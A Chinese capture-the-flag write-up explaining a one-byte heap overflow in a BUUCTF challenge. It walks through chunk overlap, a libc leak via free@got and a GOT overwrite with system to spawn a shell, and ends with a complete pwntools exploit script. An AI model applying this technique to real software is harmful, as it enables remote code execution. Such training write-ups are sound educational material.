保护

代码审计
一共有create_heap,edit_heap,show_heap,delete_heap四个函数,edit_heap函数中有一个堆溢出漏洞,只可以溢出1
个字节。
本题中,每malloc一次会创建一个指针chunk和一个内容chunk(其实就是两个地址空间,分别存储着指向chunk中数据的指针,和chunk的数据),而free一次也就是把这两个地址空间都释放掉了。show_heap和edit_heap函数中打印和修改的内容都是由指针决定的,指针指向什么就打印和修改什么。
思路
改写_size_
free_got = elf.sym['free'] add(0x18,b'a'*8) add(0x10,b'b'*8) payload = b'/bin/sh\x00'+b'c'*0x10+b'\x41'
edit(0,payload)
|
先创建两个chun,0x18
是为了在往chunk0中写内容时,直接覆盖掉chunk1的指针chunk的前8
个字节,然后就可以利用溢出的一个字节改写chunk1的指针chunk的size。
如图,指针chunk的size值已经被改写成0x41

此时,chunk1的指针chunk与内容chunk,已经部分重叠(因为是指针chunk的size被改写成0x41
,内容chunk的size还是0x21
,所以如图
泄漏_free_addr_
delete(1) payload = p64(0)*4+p64(0x30)+p64(free_got)
add(0x30,payload) show(1) p.recvuntil("Content : ") free_addr = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00')) log_addr("free_addr")
|
delete(1)
后我们可以看到fastbins有两个不同大小的fastbin_chunk,如图

然后我们再申请0x30
的chunk用来存储数据(还有0x10
的空间存储prve_size和size),又因为fastbins中正好有0x40
的fastbins_chunk,所以0x12c2040
及下面0x40
的内存空间就成了新chunk的内存chunk,0x12c2060
及下面0x20
的内存空间就成了新chunk的指针内存。
然后我们把free@got写到内存chunk的0x12c2078
地址里,这个地址存储着指针chunk里的指针,所以现在指针就是free@got,而show函数打印出来的数据是该指针指向的内容,也就是free@got指向的内容。

覆盖_free@got_表
libc_base = free_addr-libc.sym['free'] log_addr("libc_base") system_addr = libc_base+libc.sym['system'] edit(1,p64(system_addr)) delete(0)
|
同样,edit函数修改chunk内容,也是修改指针chunk的指针指向的区域。得到system的地址后,直接用edit函数修改chunk1的内容即可。

最后直接free掉chunk0,便能执行system("/bin/sh")
,得到shell。
exp
from tools import *
p = remote("node5.buuoj.cn",28974) debug(p,0x400DC4,0x400DB8,0x400DD0,0x400DDC) elf = ELF('./a') libc = ELF('./libc-2.23.so')
def add(size,content): p.sendlineafter("Your choice :",str(1)) p.sendlineafter("Size of Heap : ",str(size)) p.sendlineafter("Content of heap:",content) def edit(index,content): p.sendlineafter("Your choice :",str(2)) p.sendlineafter("Index :",str(index)) p.sendlineafter("Content of heap : ",content) def show(index): p.sendlineafter("Your choice :",str(3)) p.sendlineafter("Index :",str(index)) def delete(index): p.sendlineafter("Your choice :",str(4)) p.sendlineafter("Index :",str(index))
free_got = elf.got['free'] add(0x18,b'a'*8) add(0x10,b'b'*8) payload = b'/bin/sh\x00'+b'c'*0x10+b'\x41' edit(0,payload)
delete(1) payload = p64(0)*4+p64(0x30)+p64(free_got) add(0x30,payload) show(1) p.recvuntil("Content : ") free_addr = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00')) log_addr("free_addr")
libc_base = free_addr-libc.sym['free'] log_addr("libc_base") system_addr = libc_base+libc.sym['system'] edit(1,p64(system_addr)) delete(0)
p.interactive()
|
拿到flag
